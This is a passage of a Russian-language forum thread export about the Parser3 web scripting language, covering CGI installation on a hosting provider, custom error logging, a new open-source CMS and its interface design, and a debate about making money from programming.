я видел. мне на этот счёт сказать нечего. придёт ПАФ -- может ответит. что это такое, как это работает я не знаю (о своих взглядах на хранение файлов в БД писал не раз). лезть и читать доку на этот счет, или разбираться в коде -- мне лень."
"64999","никак немогу установить парсер на мастерхосте..\
опишите пожалуйста процесс установки"
"65001","Попробовал))) ничего не получается, если честно первый раз ставлю CGI приложение на сервер)))"
"65003","такс...\
в папку cgi-bin залил файл parser3.cgi (взял из архива parser3_2_2_redhat73_cgi.tar)\
\
потом в корневом каталоге(domain.com) создал .htacсess с таким вот содержанием\
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
вроде этого должно быть достаточно для работы парсера...но..."
"65004","что - \"но\"?\
\
как вы поняли  что парсер не работает?"
"65005","Показывает внутреннюю ошибку сервера \
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, support@masterhost.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log."
"65006","Что в логе ошибок сервера?"
"65010","Помоему, Мастархост использует FreeBSD 6.2\
И у них великолепно запускается parser.\
\
\
Узнать название ОС можно введя в консоле команду\
uname\
\
для полного счастья uname -a"
"65011","Мастерхост отлично работает с парсером.\
Вам нужно взять бинарик парсера для FreeBSD 6.2 или если не пойдет, то для 6.1\
\
У меня были там проблемы с подключением к базе данных.\
Я скомпилировал там parser3sql и все вылечилось."
"65012","вот строка лог-файла \
Premature end of script headers: /home/u90407/******.com/cgi-bin//parser3.cgi - не понимаю откуда взялся второй слэш\
\
и еще...как залbвать файлы по ftp в режиме binary"
"65014","Здравствуйте!\
\
Как вмешаться в создание parser3.log?\
\
У меня на одном парсере сидит много сайтов, так сказать, и я уже запутался в логах. Там записи от разных сайтов создаются и разделить их уже затруднительно.\
\
Как мне вмешаться в создание этого журнала, чтобы добавлять туда дополнительную информацию: IP-адрес посетителя и HOST какой был им запрошен?\
\
Доработку @unhandled_exception[exception;stack] не предлагать, ибо это по сути создание второго лога. А я хочу изменять тот, который ведет сам парсер. Либо предлагать, если оттуда можно управлять созданием парсерного лога."
"65016","Все заработало!!!! через filezilla в бинаном режиме залил cgi и установил права доступа...всем спасибо)))"
"65017","Попробуйте один раз использовать ssh и scp и больше фтп не понадобится. :)"
"65018","Этот текст я знаю, но там описано другое. Вы наверное мой вопрос неверно поняли."
"65019","P.S. subj -- если вам действительно нужно чтобы обработчик был один и только один. но я не вижу причин, почему нельзя сделать их несколько с разными именами, при этом чтобы все они являлись ссылками на один файл. несколько разных логов по моему есть хорошо.\
\
P.P.S. с помощью @unhandled_exception[] можно вообще отказаться от стандартного парсерного лога, и писать только свой, в удобном вам виде, но и этот вариант вам кажется не подходит."
"65020","Почему же тогда вариант с @unhandled_exception либо SetEnv не подходит?"
"65022","[quote]Почему же тогда вариант с @unhandled_exception либо SetEnv не подходит?[/quote]\
\
Ну так ведь получится два журнала, дублирующих друг друга."
"65024","да не, просто действительно как-то не серьёзно из одного unhandled_exception писать всё в один лог (отменив запись парсером в лог по умолчанию) и при этом добавлять в него имя сервера.\
\
безусловно правильнее взять исходники, дописать что-то, пересобрать, а потом уже со спокойной совестью идти обсуждать баб :)"
"65025","А именно написать нормальный unhandled_exception в auto.p, который будет писать логи на основании имени сервера.\
[code]\
^string.save[append;/../logs/%{env:SERVER_NAME}.log]\
[/code]"
"65027","Что можно сделать....\
\
1.  Разработать какую-нибудь свободно распространяемую CMS на парсере и \"подсадить\" на неё достаточно большое количество потенциальных заказчиков. Пусть скачивают, ставят, вносят предложения по совершенствованию и т.п. В CMS должно быть автоматическое обновление с твоего сайта всех новых версий, в частности. Ну и в определенный момент взять и поставить всех раком: сделать платным очередной релиз. Пусть копеечку он будет стоить, но так чтобы без оплаты - ну никак. В этот момент многие поотваливаются, останутся на предыдущей халявной версии, но кто-то будет и платить.\
\
Надо при этом четко понимать, что к моменту коммерциализации твоя CMS должна быть в тройке лидеров рынка. Т.е.: банально быть лучшей из сотен.\
\
2.  Всё то же, но платными сделать доработки \"под клиента\". Например: есть в CMS типовой модуль \"интернет-магазина\", позволяющий работать с ВэбМани. А многим ведь надо и Яндекс-бабло, и кредитки и проч. - это ты будешь им прикручивать за отдельные деньги!\
\
\"..Надо при этом четко понимать, что к моменту коммерциализации...\" и т.д.\
\
Ну и ещё пяток бизнес-схем можно придумать, но в основе их всех будет лежать принцип распространения наркоты: подсадил, угостил, а потом оп-па: сыр-то не бесплатен.\
\
Так что: если цель конкретно разбогатеть, то лучше сразу с торговли наркотой и начать :)\
\
ЗЫ. Одна питерская полиграф.контора в 90-х годах развивалась, накупила кучу западного классного оборудования в лизинги и на кредиты, а когда настала @, то, здраво рассудив, сократила классический путь \"товар-деньги-товар\", то простого печатанья на этом самом оборудовании бабла не русского. Впрочем очень быстро влетела в неприятности, хоть и качество давала весьма-весьма  :)"
"65028","В деле сайто-строительства на основе любой! технологии, нужны не супер-универсальные CMS, а тупейшее \"ядро\" + богатый выбор из огромного количества подключаемых модулей. Т.е. \"ядро\" должно обеспечивать непринужденное подключение нового модуля, а вот модулей (например) интернет-магазина должно быть минимум с 20шт. От разных производителей. Разной степени функциональности и сложности реализации.\
\
\
ИТОГО: 99% трудозатрат по изготовлению описаной мной гипотетической CMS, уйдёт на раздумья по созданию \"ядра\". Его конфигурации, моделированию и тестированию. А код писать - ну неделя максимум :)\
\
Ещё раз: это имхо. Т.е.: мне так кажется, а совсем не истина."
"65030","Расскажите, пожалуйста, как подключать классы из примеров и как правильно создавать свои классы.\
И что значит\
такая строчка кода\
@printMessagesByParent[tMessage;iParentId][tLevel]\
(взято из примеров)\
что это за tMessage iParentId tLevel.\
Я не в том смысле, что это такое конкретно... мне бы понять смысл глобальный, в контексте создания классов"
"65031","[quote]P.P.S. с помощью @unhandled_exception[] можно вообще отказаться от стандартного парсерного лога, и писать только свой, в удобном вам виде, но и этот вариант вам кажется не подходит.[/quote]\
\
Почему же, подходит. А как отключить вывод стандартного лога?"
"65035","Это $exception.handled(true) выключает стандартный журнал, если оно прописано в @unhandled_exception[exception;stack].\
\
Жаль что вмешаться в работу стандартного писателя нельзя. Но зато формировать свой лог можно. Спасибо за наводку!\
\
Тогда вопрос. Берем мы обычную запись из лога:\
\
[Sun Feb 03 16:43:17 2008] [3900] Unhandled exception in /site/trade/calculators/: \\usr\\local\\parser3/auto.p(112:2): 'if' method of MAIN (MAIN) accepts maximum 3 parameter(s) [parser.runtime] [uri=/site/trade/calculators/, method=GET, cl=0]\
\
Что здесь означают цифры [3900]?\
И что означает запись  cl=0]?"
"65037","PID ясно как повторить. А вот cl повторить не ясно как. \
Какая команда Парсера выдает длину тела запроса?\
\
И где вообще используется PID и cl?"
"65040","Наконец кто-то по теме ответил.\
\
Хорошы ваши способы. Но дело в том, что я пытаюсь привязаться именно к Парсеру. Прошу меня понять (пока еще никто не понял, наверное я плохо формулирую мысль), но я имею ввиду зарабатывать и много именно на Парсере, как на любимом деле. А у вас получается что на CMS. А CMS можно написать на любом языке.\
\
Наводящий вопрос, вам не казалось что вы программируя на Парсере зарабатываете все-таки не на самом программировании, а на чем-то другом?\
\
Например я, делаю сайты. На своей системе Изюминка. Она на Парсере. Вроде получается что я зарабатываю на Парсере. Но чувство, что будто я зарабатываю на чем другом. Скорей всего я зарабатываю не на Парсере, а на умении продавать себя на переговорах с клиентами. Я прихожу в офис, где до меня были тучи таких фрилансеров как я. И у меня задача выиграть переговоры, чтобы клиент мне заплатил, а не им. И что же я ему рассказываю? Думаете я рассказываю о Парсере или о системе Изюминка? НЕТ! Я даже о сайтах с ним не разговариваю. Я разговариваю о ЕГО, клиентовой, проблеме. Она подчас решается не Парсером и не сайтом на Парсере. Парсер и даже сайт клиенту безраличен!!! Вы наверняка это замечали, те кто сам продает свои услуги. Клиенту важно другое. \
\
И в результате я могу выиграть на переговорах, если найду и решу эту проблему клиента. И другой проиграет, если будет с клиентом говорить о сайте, а не о проблеме.\
\
Понятно о чем я?\
\
И вот от этого я удовлетворения и не получаю. И зарабатываю мало, хотя потенциально могу намного больше. Почему? Потому что ищу способ соединить невозможно, казалось бы на первый взгляд. Ищу способ соединить заработок и любимое дело - программирование на Парсере. Чтобы продавать именно это - программирование на Парсере, а не что-то другое."
"65043","Добрый день.\
\
Я понимаю, что мой вопрос к парсеру прямого отношения не имеет, но тем не менее надеюсь на помощь, хотя бы в направлении курса мысли.\
\
Установлена система Debian Lenny (testing).\
На машине нет ничего, кроме cpp и ничего не поддается установке.\
При попытке установить build-essential, g++ удаляются все приложения и установка невозможна.\
\
Как заставить парсер компилироваться на gpp?"
"65044","В общем подход к получению заказов понятен. И он, имхо, весьма правилен.\
\
В остальном не знаю что и посоветовать, т.к. я Вашу проблему все же явно до конца не понимаю, как мне кажется. Наверное это всё-таки разные виды деятельности: продавать услуги и программировать сайты. Попробуйте объединиться с кем-либо в рамках фриланса или какой-то вэб-студии, которая делает сайты на парсере. Они будут продавать, а Вы быстро-быстро программировать. И именно на Парсере :)"
"65045","Как заставить парсер компилироваться на cpp?"
"65046","Я не спрашиваю что такое PID и cl.\
Я спросил - для чего их применяют при анализе лога?"
"65047","[quote]Наверное это всё-таки разные виды деятельности: продавать услуги и программировать сайты. [/quote]\
\
Конечно разные. \
\
Когда я продаю, то у меня возникает мысль вообще не заниматься программированием. Ибо я в этот момент занят клиентом - нужно войти в доверие, найти лучший способ решения его проблемы, нужно прикинуть варианты этих решений и насколько это перспективно (работа с клиентом) для меня.\
\
А когда я программирую, то заниматься продажей совсем не хочется. Ибо программирую для себя. И то, что вы дальше предлагаете, означает \"ломать себя\". То есть, делать то, что скажет продавец. Это уже будет РАБОТА. А не творчество.\
\
[quote]В остальном не знаю что и посоветовать, т.к. я Вашу проблему все же явно до конца не понимаю, как мне кажется.[/quote]\
\
Я не совета прошу, а мозговой штурм. Но его не сделать пока не ясна задача. Мозговой штурм вообще ясен? Это когда быстро набрасывается куча решений задачи, даже фантастические решения. Задача следующая.\
\
Как заработать (или зарабатывать) на Парсере при условии:\
\
1) творишь для себя (программируешь на Парсере)\
2) сам находишь способы продажи свои услуг или товаров\
3) ни на кого не работаешь\
\
[quote]Попробуйте объединиться с кем-либо в рамках фриланса или какой-то вэб-студии, которая делает сайты на парсере. Они будут продавать, а Вы быстро-быстро программировать. И именно на Парсере :)[/quote]\
\
Нет-нет, это тоже не то. Вы прекрасно понимаете что в итоге будет. А будет то, что я буду программировать (РАБОТАТЬ), а не заниматься любимым делом. Тем более что делать сайты скорей нужно на тех технологиях, которые выбирает продавец, в данном случае веб-студия. Скорей всего выберут PHP.\
\
Я уже нечто подобное сделал. Я нанял Рекламное Агентство. Оно мне поставляет заказы на сайты. Но это РАБОТА, а не занятия любимым делом."
"65048","[quote]1) творишь для себя (программируешь на Парсере)\
2) сам находишь способы продажи свои услуг или товаров\
3) ни на кого не работаешь[/quote] \
\
Пп.1 и 3 конечно можно совместить. Но следствием будет являться то, что денег не будет. Это понятно? Не возможно работать \"ни на кого\". Также никак не представляется возможным осуществлять коммерческую деятельность в отсутствии какого-нибудь Заказчика.\
\
Итого: работа, как известно, бывает трёх типов:\
1.  От которой тошнит, но раз в месяц это компенируется в кассе предприятия. \
2.  От которой прёшься, но раз в месяц сильно огорчаешься, придя в кассу предприятия.\
3.  От которой тошнит, а раз в месяц ещё и несварение кишок, после посещения кассы предприятия.\
\
Впрочем, п.3 это не работа, а чистой воды мазохизм :)\
\
Ещё справочно: если в работе 50% составляет любимое занятие, а оставшие 50% всякая организационная пурга, то это очень хороший показатель! Потому как \"сопутствующая пурга\", у подавляющего большинства народа, обычно занимает не менее 90% рабочего времени. И всё равно люди живут, работают, занимаются, по-возможности, творчеством в оставшиеся 10% времени.\
\
Хусамов. У тебя какие-то возрастные метания, имхо. Чисто по житейски, советую по весне завести молодую девку: блондинку классическую в идеале. Чем моложе - тем лучше. Она тебя от твоих метаний быстро в сторону утащит какими-нибудь интересными выходками, вроде разбития твоей машины, любовным треугольником с мордобоями и стрельбой и т.п. и т.д. Самооценка у тебя вследствии этого существенно повысится и появятся новые цели в жизни. По крайней мере сможешь быстро определиться, что тебе больше в жизни ннеобходимо: любимое дело или деньги. Взгляд на мир станет проще - это гарантирую! :)\
\
Удачи!"
"65050","[quote]Итого: работа, как известно, бывает трёх типов:\
1. От которой тошнит, но раз в месяц это компенируется в кассе предприятия. \
2. От которой прёшься, но раз в месяц сильно огорчаешься, придя в кассу предприятия.\
3. От которой тошнит, а раз в месяц ещё и несварение кишок, после посещения кассы предприятия.[/quote]\
\
Не смешно. Вы думаете нет других вариантов?\
\
Я ищу этот вариант:\
\
4) Любимое дело от которого прешься и это компенсируется постоянно возрастающейся прибылью.\
\
Вы теперь заняли позицию тех людей, которые уже наверху по этой же ветке наотвечали кучку. Я предлагаю помечтать что-ли, мол пункт 4 возможен, а теперь нужно лишь конкретизировать как это реализовать и что конкретно делать, чтобы так жить.\
\
Если вы хотите сказать почему у меня это не получится, то прошу, перестаньте вообще тогда писать. Лучше уж промолчите. Если есть что ответить положительно, то есть придумать несколько способов (мозговой штурм), то пишите. Собственно я только для этого открыл тему. Зачем мне выслушивать почему это не получится? В этом никакого смысла. Это я и без вас знаю. Лучше сообщите то, чего я не знаю - а именно, способ как реализовать пункт 4.\
\
[quote]...всё равно люди живут, работают, занимаются, по-возможности, творчеством в оставшиеся 10% времени.[/quote]\
\
Надеюсь вы не всерьез предлагаете мне занять положение таких несчастных людей?\
\
[quote]Хусамов. У тебя какие-то возрастные метания, имхо. Чисто по житейски, советую по весне завести молодую девку:...[/quote]\
\
Ну ты даешь!!! Это называется вот как: Сухроб, брось эту идею, она никогда не получится. Лучше отвлекись от проблемы.\
\
Ты чего, думаешь что я отвлекусь от своей цели??? Ты меня похоже не знаешь."
"65051","Mark Albion, Author of the book “Making a Life, Making a Living” cites a study by Srully Blotnick:\
\
“A study of business school graduates tracked the careers of 1,500 people from 1960 to 1980. From the beginning, the graduates were grouped into two categories. Category A consisted of people who said they wanted to make money first so they could do what they really wanted to do later after they took care of their financial concerns. Those in category B pursued their interests first, sure that the money eventually would follow.\
\
What percentage fell into each category? Of the 1,500 graduates in the survey, the money-now category A’s comprised 83 percent or 1,245 people. Category B risk takers made up 17 percent, 255 graduates.\
\
After 20 years, there were 101 millionaires in the group. Only one came from category A, 100 from category B."
"65052","подскажите,как правильно передать параметры через <а href>\
пробовал сделать через переменные , в страницу сувал $ex\
потом делал ссылку вида\
[b]<a href=\"/folder/?ex=$chetotam\">$chetotam</a>[/b]\
ничего конечно не вышло)))"
"65053","Эх, хоть инструкция была бы. Оказывается там домен нужно прописать, классы... Еще была ошибка\
slav_main.p not found along MAIN:CLASS_PATH\
Оказывается еще нужно модули было прописать...\
\
И вот еще ошибка, которую пока не ясно как исправить:\
\
\
ОПИСАНИЕ ОШИБКИ\
\
[code]Код: xml\
Запрос: http://odminko/[/code]\
\
[code]Entity: line 9: parser error : Input is not proper UTF-8, indicate encoding !\
Bytes: 0xCF 0xE5 0xF0 0xE2\
		<title>Первый Славянский кубок по параглайдингу - Македония 2008</title>\
		       ^[/code]\
\
\
Стек вызовов:\
\
[code]/index.html (15:20) -- create\
/index.html (15:4) -- oModule\
/index.html (7:2) -- if\
/auto.p (46:36) -- mainSQL\
/auto.p (46:10) -- if\
/classes/sql/sql.p (77:26) -- jBody\
/classes/sql/sql.p (77:18) -- setServerEnviroment\
/classes/sql/sql.p (74:10) -- connect\
/classes/sql/sql.p (73:2) -- try\
/auto.p (41:12) -- server[/code]"
"65054","[quote]подскажите,как правильно передать параметры через <а href>\
пробовал сделать через переменные , в страницу сувал $ex\
потом делал ссылку вида\
<a href=\"/folder/?ex=$chetotam\">$chetotam</a>\
ничего конечно не вышло)))[/quote]\
\
Пока могу только предположить, что в страницу нужно сувать вот такую конструкцию:\
\
[code]$form:ex[/code]"
"65056","...а раздал лично. Желающим посмотреть внутреннее устройство движка.\
\
Сейчас привожу в порядок код и делаю так, чтобы запускалось всё без проблем. Это займет какое-то время. Не торопитесь, никуда оно не денется."
"65057","Очередная бесчеловечная CMS."
"65060","Какую кнопку нажимают чаще в диалоге на этом скриншоте?\
\
http://www.stopdesign.ru/t/odminko/prop.png"
"65061","На этапе отладки — «Отмена», конечно :-)\
\
Этот диалог разрабатывался не более 5 минут и имеет значительно более серьезные недостатки, которые не решить так просто:\
— сложно (без знания админки наизусть) выбрать необходимый модуль по названию в 30 символов;\
— это же касается и шаблона (тем более!). Тут точно нужны картинки;\
— редактирование пути, текста и заголовка ссылки отделено от остальных свойств страницы, хотя для пользователя это не логично.\
\
Картинку на страницу сложно добавлять — вот это проблема. Новости все не влезут в дерево «структуры сайта» — это проблема. При редактировании страницы есть два уровня отмены действий: отмена текущих изменений в редакторе и откат к предыдущей сохраненной версии всей статьи — это тоже меня напрягает. Выделить и удалить группу страниц невозможно — это проблема. Перемещение страницы мышкой в дереве структуры возможно, но невозможно копирование (а как?). Пользователи еще 10 лет будут думать в рамках модели документа, предложенной Вордом, а не семантической модели — это тоже моя проблема. А Вы говорите о кнопках..."
"65062","Хотел посмотреть, как делают умные люди... Открыл первый попавшийся диалог: http://www.stopdesign.ru/t/ouch/батоны.png\
\
Надо ставить Мак ОС ))"
"65063","[quote]Картинку на страницу сложно добавлять — вот это проблема.[/quote]\
\
Я, в своей Изюминке, эту проблему решил вордом. Клиентам нравится. Вставил картинку в вордовый документ. Документ залил на сайт. И вот вам - картинка уже на нужной странице. Если интересно, могу дать готовый класс.\
\
Кстати, жду когда вы выложите готовую систему, чтобы посмотреть ее."
"65064","Интересно было бы взглянуть."
"65065","Я решил проблему картинок использованием формата WordML (вордовского XML). То есть документ сохраняешь в XML вместе с картинками и загружаешь на сайт. Картинки переводятся в файлы и сохраняются на диске сервера. В результате статьи с картинками и форматированием удается закинуть на сервер весьма просто.\
\
А класс занимается парсированием WordML-формата. И все. Естественно doc он не читает."
"65066","Спасибо! Все работает!"
"65067","Во-первых, парсер нужен под OS FreeBSD 6\
Причем если стандартной сборки, то 3.2.1\
Ибо последняя почему-то не запускается.\
А 3.2.1 В одном из ~50 обращений вылетает с 500-й ошибкой.\
Кстати, ни у кого нет последней версии парсера, собранной под мастерхост?"
"65069","PID - ID процесса, а значит если нужно, то все события на сервере можно журналировать, в случае чего всегда можно по ID поднять запись кто вызвал это приложение, что за приложение, его путь и т.д.\
А вот cl не скажу, т.к. меня это никогда не интересовало."
"65070","Ситуация в том, что у кого-то может ядро и есть, а грамотной оболочки - нет, или на все времени не хватает.\
\
Если что-то пускается в открытый доступ, то есть шанс, что все друг-друга найдут"
"65072","Так всегда, когда кто-то что-то раздает на халяву, начнут придираться, особенно, если автор заранее говорит, что продукт \"сырой\". Проще критиковать, чем прислать исправление."
"65073","А я то думал, откуда такие косяки у меня возникли во время установки:\
- кодировка файлов;\
- необычный SQL-дамп\
...\
А оказывается, ты все под Linux ваяешь."
"65074","Мне интересно посмотреть, как происходит \"чистка\" вордовского синтакс-мусора... и картинки: было-стало."
"65075","Что посоветуйте? Быстрая, бесплатная, пуленепробиваемая база данных совместно с Парсер (-; !"
"65076","Для сборки библиотеки libparser3mysql.so необходимо указать [code]--with-mysql-inc=/путь/к/mysql/include[/code]\
\
Вот нигде не могу найти /путь/к/mysql/include.\
\
Смотрел в:\
/usr/local/\
\
Есть только:\
/usr/share/mysql/mysql-test/include/\
но он не подходит...\
\
MySQL ставил из репозитария.\
\
Как быть?"
"65077","С кодировками файлов?\
С SQL??\
\
Архив я готовил на хостинге под фряхой. Потом проверил на хостинге под дебиан. Дома только вчера попробовал. Обнаружил, что забыл несколько классов и часть кода лежит в конфигурационном файле. Сейчас всё исправил, скоро выложу. Наверное, уже на code.google.com.\
\
Как удобнее оформить дамп базы? Я просто нажал экспорт в phpMyAdmin, посчитав, что многие будут импортировать им же, а кто не им — тот и так разберется."
"65078","Проблемы с кодировками - просто от непривычки. А проблемы с SQL-дампом - в том, что phpMyAdmin в качестве комментарие использует символы, которые моим MySQL-сервером воспринимаються как ошибки. Но это все решаемо. Так-что, на первых порах - как самому удобнее.\
\
А вот насчет ошибок в коде - это сложнее. Пока посмотреть ничего ничего не удалось:\
[code]is 'bool', it has no string representation\
\
y:/home/odminko/www/classes/nav.p(91:16)\
----\
\
if	y:/home/odminko/www/classes/nav.p(91:2)\
getSLID	y:/home/odminko/www/classes/nav.p(106:16)\
if	y:/home/odminko/www/classes/nav.p(102:2)\
getObject	y:/home/odminko/www/index.html(5:24)\
rem	y:/home/odminko/www/index.html(5:2)[/code]\
\
Вполне может быть, что файлы не те оказались в архиве, или чего-то не хватает. Пока не разбирался."
"65081","С bool — это от того, что в БД нужно указать домен, на котором всё крутится. Парсер пытается вывести ошибку, а в тексте ошибки оказывается переменная класса bool.\
\
Уже всё исправил. http://code.google.com/p/odminko/"
"65082","Выложил [url=\"http://code.google.com/p/odminko/\"]исходники[/url]. SVN-версию сейчас загружаю, но сомневаюсь, что она кому-то нужна будет :-)"
"65084","... речь о линуксе (хотя вы и не указали версию ОС). Тогда из репозитория надо доставить девелоперсчкий пакет для майэскуэля - в нем как раз все необходимые хидеры есть."
"65085","Да, Debian Lenny.\
\
Загрузил исходные коды и собрал. Всё работает.\
\
Могу поделиться бинарником."
"65088","...должны сразу обо все догадаться. Но если не знаете, то смотрите мой класс. Там все просто.\
Файл можно получить по адресу: khusamov yandex ru"
"65089","Файл можно получить по адресу: khusamov yandex ru"
"65092","Интерфейс и пользователь — ничто.\
Разработчик — всё.\
\
Цмску ведь для себя делаешь, не для «всех»..."
"65093","[url=\"http://www.anapa-surfing.ru/f/1/parser/\"]Загрузить[/url]"
"65094","Пока ваш ответ больше похоже на разговор ни о чем или на попытку Holiwar.\
\
Не нравиться - сделайте лучше."
"65095","Меня данный проект интересует не как CMS-как а как интерфейс связи с GUI. Когда все сделано на XSL-шаблонах расположение кнопочек и надписей не составляет проблема переделать + есть возможность сделать версии для разных языков.\
\
Интерфейс, IMHO должен дорабатываться разработчиком индивидуально:\
- для себя\
- для других (мне, так, вообще проще данные заливать через MySQL-front)."
"65096","Что-то архив не распаковывается :( Только драйвер для MySQL открывается."
"65099","Я проверил и на маке и под Windows нигде не распаковывается."
"65101","Думал без проблем перейду на Linux. У меня подключался файл *.mdb - $connect_string[odbc://Driver={Microsoft Access Driver (*.mdb)}^;Dbq=/db1.mdb]. В разделе загрузок под RedHat нет ODBC!"
"65102","Так что, теоретически, можно сделать класс и для doc...\
\
Вообще, я считаю, что идея хорошая. В своей системе постараюсь предусмотреть возможность простого импорта из Офиса. Но удобный визуальный редактор на сайте это не заменит."
"65103","[quot]Расскажите, пожалуйста, как подключать классы из примеров и как правильно создавать свои классы.[/quot]\
\
точно так-же, как и любые классы: положить в каталог, доступный по CLASS_PATH и написать ^use[ИМЯ_КЛАССА.p] или\
@USE\
ИМЯ_КЛАССА.p\
\
\
[quot]\
И что значит такая строчка кода\
@printMessagesByParent[tMessage;iParentId][tLevel]\
(взято из примеров)\
что это за tMessage iParentId tLevel.\
Я не в том смысле, что это такое конкретно... мне бы понять смысл глобальный, в контексте создания классов[/quot]\
\
чтение документации даст ответ на этот вопрос. вариант взять и скопировать что-то из примеров, не понимая что делаете тут не прокатит."
"65104","[quote]В своей системе постараюсь предусмотреть возможность простого импорта из Офиса. Но удобный визуальный редактор на сайте это не заменит.[/quote]\
\
Например, закидываем статья с картинками. А в визуальном редакторе потом можно редактировать.\
\
Это удобней, нежели сразу пытаться в визуальном редакторе картинки вставлять:)"
"65105","Ну, собственно, в этом и ошибка. Есть замечательная [url=\"http://www.books.ru/shop/books/25835\"]книга[/url], в которой давно описаны все постулаты разработки «человечных» интерфейсов, одним из которых является разработка интерфейса не после разработки приложений, не во время разработки приложений, а... До. И только. Иначе получится Microsoft Word с панелью инструментов в 100 кнопок.\
\
Смотрите, я написал «Очередная бесчеловечная CMS». Меня не интересует код, не интересует архитектура самого движка (кстати, если смотрели, скажите: там тривиально ведь всё, ничего сверхъестественного?) — меня интересовал и потом уже не заинтересовал подход к организации интерфейса. А что это значит? Что сначала пишется движок, на него лепится админка, и по мере добавления новых функций в CMS — добавляются пункты меню и кнопочки-красавицы. Ну, собственно, как и почти всегда...\
\
Всё просто. Есть эволюционный подход (данная CMS), и есть революционный (не присущ ни одной CMS, которые упоминались на форуме).\
\
Так вот, да простит меня автор, но с точки зрения интерфейса, удобства пользования и когнитивной простоты — это, если не провал, то уж точно не революция. [b]Очередная бесчеловечная CMS[/b].\
\
Но, спорить не могу, не смотрел, может быть в плане разработки там конгениальный подход. В любом случае, автор — молодец."
"65107","Как я понимаю, все упирается в дизайн. Однако, в данном случае, о дизайне речи не шло никакой. Речь только о том, чтобы прикрутить Ext JS, как менеджер интерфейса. Проектирования интерфейса - задача дизайнера, а не программиста. Задача последнего - удобное API."
"65108","Так и пытаюсь делать. Правда, книжку другую читал: «Психбольница в руках пациентов», Алан Купер.\
\
\
Проблемы, которые возникают при таком подходе (лично у меня возникают):\
\
— нужно очень хорошо разбираться в вопросе, чтобы не напридумывать нереализуемых возможностей. Если есть 500 индусов, которые будут кодить всё по заданному ТЗ, то тут попроще... А если самому всё делать, то каждый шаг к правильному интерфейсу будет очень тяжелым. Без (ужасного) ExtJS я бы не сделал кроссбраузерное дерево. Не умею.\
\
— чтобы убедиться, что какие-то вещи действительно удобны, их нужно увидеть живьём, а не на бумаге. Вокруг меня гора рисунков каких-то деталей интерфейсов, но по ним много не поймешь. Фактически, тот «продукт», который сейчас выложен в открытый доступ — это [b]работающий макет[/b] (о чем и было сказано [i]в первом предложении[/i] статьи на Хабре). Это даже не макет CMS, а только древовидной структуры сайта и некоторых других элементов. Еще какие-то детали реализации получились интересными, на мой взгляд. Вот поэтому меня и задело замечание о кнопках диалога!\
\
Чтобы попробовать вживую возможность загрузки файлов в один клик, пришлось поднять собственный сервер и настроить там какой-то дикий, неизвестный мне софт. Возможность оказалась неработоспособной в реальных условиях (разные браузеры, плохие хостеры).\
\
Есть еще несколько решений, которые на первый взгляд кажутся ошибочными. Например, шаблоны интерфейса. Сначала я пытался придумать какой-то язык-шаблонизатор... Пробовал использовать Парсер (и всё работало)... Но пришел к выводу, что неудобный, сложный для понимания и античеловечный XSLT значительно лучше. Почему? Он делает получение готового макета сайта максимально простым на практике: любой фрилансер, занимающийся версткой, сделает такой макет за считанные минуты (и баксы). А в чем-то оригинальном нужно еще разбираться, каким бы простым оно ни было...\
\
В общем, я опять не знаю, как дальше быть, чтобы CMS развивалась. Сам я её закончить не смогу. Шум на Хабре и эта ветка форума сделали возможным еще один вариант: пойти работать в какую-нибудь московскую/питерскую дизайн-студию и там работать над проектом. Но я представляю, как всё будет:\
— так... Парсер? Что это? А... Нет. Первым делом ядро надо переделать на php. Желательно, php4;\
— вот тебе зарплата 50 тыщ, чтобы через месяц продукт был готовым. А через две недели запустим на нем пару сайтов для пробы;\
— ой! Да ты еще и программировать толком не умеешь!\
\
И улечу я оттуда, ветром гонимый, в родной Нижнепопинск."
"65109","Проектирование интерфейса — задача проектировщика интерфейсов.\
А дизайн — всего лишь [url=\"http://lingvo.yandex.ru/en?text=design&st_translate=1\"]это[/url]."
"65110","Нет, не знаю. Макинтош видел пару раз в жизни, а хакинтош на мой бук не ставится. Позавчера пробовал.\
\
А что, джедаю для этого там [b]Силу[/b] использовать нужно? Или тоже мерзкие кнопки? :-)"
"65111","Самый простой подход — одна голова хорошо, а много голов — гораздо лучше.\
\
Я любой шаг, любую интересную идею стараюсь обсудить как минимум с двумя людьми. Так мнение точно может либо поддержать моё, либо точно его опровергнуть (соотножение два к одному). А чем больше людей — тем лучше.\
\
Я интерфейсами интересуюсь достаточно давно, так что если что — всегда пожалста."
"65112","Нет, надо правой кнопкой нажать в нужном месте и в меню выбрать «New folder». Как только он создастся его надо переименовать из «Untitled folder» в то, что нужно.\
\
Ничего особенного, в винде естественно то же самое (а что в винде не от мака...). Только в диалоге KDE 3 кнопки снизу и 4 сверху.\
\
Есть такое понятие — важность восприятия. Вот создание директории имеет низкую важность. Достаточно просто создать, а потом переименовать. К тому же, насколько я понимаю, в KDE, когда жмёшь в меню «Создать папку» выскакивает диалог для создания папки и новое её имя, а не так как было бы логично — по глагольному действию «Создать» создаётся директория, а только потом выполняется дополнительное действие — переименование.\
\
У Раскина есть ещё хорошая фраза: интерфейс делает человек, но для человека. То есть логика должна быть именно человеческая и последовательная."
"65113","Такая логика приведет (как в винде) к появлению в популярных местах такой картины:\
Новая папка\
Новая папка (1)\
Новая папка (2)\
\
Многим просто лень переименовывать папки. Это «лишние движения».\
\
Необходимость задать название директории считаю логичным, т.к. это неотъемлемое её свойство, а любое значение по умолчанию лишено всякого смысла. [b]Директорию недостаточно просто создать.[/b] Если бы могла существовать директория без имени, тогда можно было бы создавать.\
\
Кроме того, в некоторых виндузовых диалогах кнопка создания папки находится рядом с кнопкой перехода в родительскую директорию (и похожа на неё). Иногда промахиваюсь. Но это отдельная история...\
\
Я за диалог. Не с восемнадцатью кнопками, но с двумя (одна из них — «X» в уголке). Готов пойти лентяям навстречу и оставить в поле «имя» серенькое значение по умолчанию. Но только если доооолго меня уговаривать."
"65114","[code]\
[/tmp/parser_3.2.2_XML_safe_mode.zip]\
  End-of-central-directory signature not found.  Either this file is not\
  a zipfile, or it constitutes one disk of a multi-part archive.  In the\
  latter case the central directory and zipfile comment will be found on\
  the last disk(s) of this archive.\
zipinfo:  cannot find zipfile directory in one of /tmp/parser_3.2.2_XML_safe_mode.zip or\
